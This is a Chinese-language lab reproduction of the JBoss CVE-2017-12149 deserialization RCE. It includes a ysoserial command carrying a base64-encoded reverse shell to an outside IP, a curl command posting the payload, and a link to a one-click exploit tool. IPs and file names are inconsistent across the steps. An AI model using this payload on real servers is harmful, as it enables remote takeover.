[toc]
JBOSS CVE-2017-12149复现
一、影响范围
漏洞影响5.x和6.x版本的JBOSS AS。
二、漏洞原理
JBOSS Application Server是一个基于J2EE的开放源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用,2006年,JBoss被Redhat公司收购。
2017年8月30日,厂商Redhat发布了一个JBOSSAS 5.x 的反序列化远程代码执行漏洞通告。该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。但近期有安全研究者发现JBOSSAS 6.x也受该漏洞影响,攻击者利用该漏洞无需用户验证在系统上执行任意命令,获得服务器的控制权。
三、攻击过程
访问漏洞环境
访问访问http://8.210.152.234:8080//invoker/readonly 页面返回500错误 ,基本可以判断存在此漏洞
1.开启nc监听
2.生成反弹shell命令
3.反弹shell命令转换以后得到密令如下
4.序列化数据生成
使用ysoserial生成序列化数据,由于Vulhub使用的Java版本较新,所以选择使用的gadget是CommonsCollections5,如果不成功可以换成CommonsCollections6。1-10 都可以
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjIxMC4yMzUuMjQ5Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" >bb.ser
将文件发送到服务器中(建议使用curl,曾经尝试使用burp发送 未成功)
命令如下curl http://8.210.169.237:8080//invoker/readonly --data-binary @cs.ser
5.发送完成shell到手
三、一键利用工具推荐
https://github.com/yunxu1/jboss-_CVE-2017-12149